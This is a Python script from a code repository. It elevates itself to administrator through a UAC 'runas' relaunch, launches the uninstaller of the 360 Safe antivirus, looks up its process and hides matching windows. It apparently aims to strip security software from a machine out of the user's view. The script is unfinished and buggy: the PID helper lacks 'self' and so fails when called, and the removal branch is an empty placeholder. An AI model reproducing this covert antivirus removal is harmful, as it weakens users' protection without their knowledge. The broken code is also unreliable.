Files
2026-07-28 03:15:28 +08:00

109 lines
4.1 KiB
Python

# wei'wa
class sys():
from sys import argv, platform, executable, exit as exit
class ctypes():
from ctypes import POINTER, c_ulong, c_char_p, c_int, c_void_p, windll, sizeof, Structure, byref, WinError
class wintypes():
from ctypes.wintypes import HANDLE, BOOL, DWORD, HWND, HINSTANCE, HKEY
class subprocess():
from subprocess import list2cmdline
#class os():
# from os import path, getenv, mkdir, getlogin, listdir, _exit, remove, rmdir, walk, chmod
import os
import stat
import traceback
import win32api
import win32con
import win32gui
import win32api
import win32process
class ShellExecuteInfo(ctypes.Structure):
_fields_ = [
('cbSize', ctypes.wintypes.DWORD),
('fMask', ctypes.c_ulong),
('hwnd', ctypes.wintypes.HWND),
('lpVerb', ctypes.c_char_p),
('lpFile', ctypes.c_char_p),
('lpParameters', ctypes.c_char_p),
('lpDirectory', ctypes.c_char_p),
('nShow', ctypes.c_int),
('hInstApp', ctypes.wintypes.HINSTANCE),
('lpIDList', ctypes.c_void_p),
('lpClass', ctypes.c_char_p),
('hKeyClass', ctypes.wintypes.HKEY),
('dwHotKey', ctypes.wintypes.DWORD),
('hIcon', ctypes.wintypes.HANDLE),
('hProcess', ctypes.wintypes.HANDLE)]
def __init__(self, **kw):
super(ShellExecuteInfo, self).__init__()
self.cbSize = ctypes.sizeof(self)
for field_name, field_value in kw.items():
setattr(self, field_name, field_value)
ShellExecuteEx = ctypes.windll.shell32.ShellExecuteExA
ShellExecuteEx.argtypes = (ctypes.POINTER(ShellExecuteInfo), )
ShellExecuteEx.restype = ctypes.wintypes.BOOL
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
WaitForSingleObject.argtypes = (ctypes.wintypes.HANDLE, ctypes.wintypes.DWORD)
WaitForSingleObject.restype = ctypes.wintypes.DWORD
CloseHandle = ctypes.windll.kernel32.CloseHandle
CloseHandle.argtypes = (ctypes.wintypes.HANDLE, )
CloseHandle.restype = ctypes.wintypes.BOOL
def elevate(show_console=True, graphical=True):
if ctypes.windll.shell32.IsUserAnAdmin():
return
params = ShellExecuteInfo(
fMask=32832,
hwnd=None,
lpVerb=b'runas',
lpFile=sys.executable.encode('UTF-8'),
lpParameters=subprocess.list2cmdline(sys.argv).encode('UTF-8'),
nShow=int(show_console))
if not ShellExecuteEx(ctypes.byref(params)):
raise ctypes.WinError()
handle = params.hProcess
ret = ctypes.wintypes.DWORD()
WaitForSingleObject(handle, -1)
if ctypes.windll.kernel32.GetExitCodeProcess(handle, ctypes.byref(ret)) == 0:
raise ctypes.WinError()
CloseHandle(handle)
sys.exit(ret.value)
class P():
def __init__(self):
elevate(0)
def SPGD(app_path):
try:
win32api.ShellExecute(0, None, app_path, None, None, 1)
processes = win32process.EnumProcesses()
for pid in processes:
if pid!= 0:
try:
handle = win32api.OpenProcess(win32api.PROCESS_QUERY_INFORMATION, False, pid)
process_name = win32process.GetModuleFileNameEx(handle, 0)
if app_path in process_name:
return pid
except:
pass
except Exception as e:
return False
log=open("./1.txt", "a", encoding="UTF-8")
class P360(P):
def __init__(self, path: str):
P.__init__(self)
self.path=path
def remove(self):
self.uninst=os.path.join(self.path, "uninst.exe")
if not (pid:=self.SPGD(self.uninst)):
pass#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
def HW(hwnd, extra):
if win32gui.IsWindowVisible(hwnd):
if '1' in win32gui.GetWindowText(hwnd):
win32gui.ShowWindow(hwnd, win32con.SW_HIDE)
win32gui.EnumWindows(HW, None)
A=P360(r"D:\Program Files (x86)\360\360Safe")
A.remove()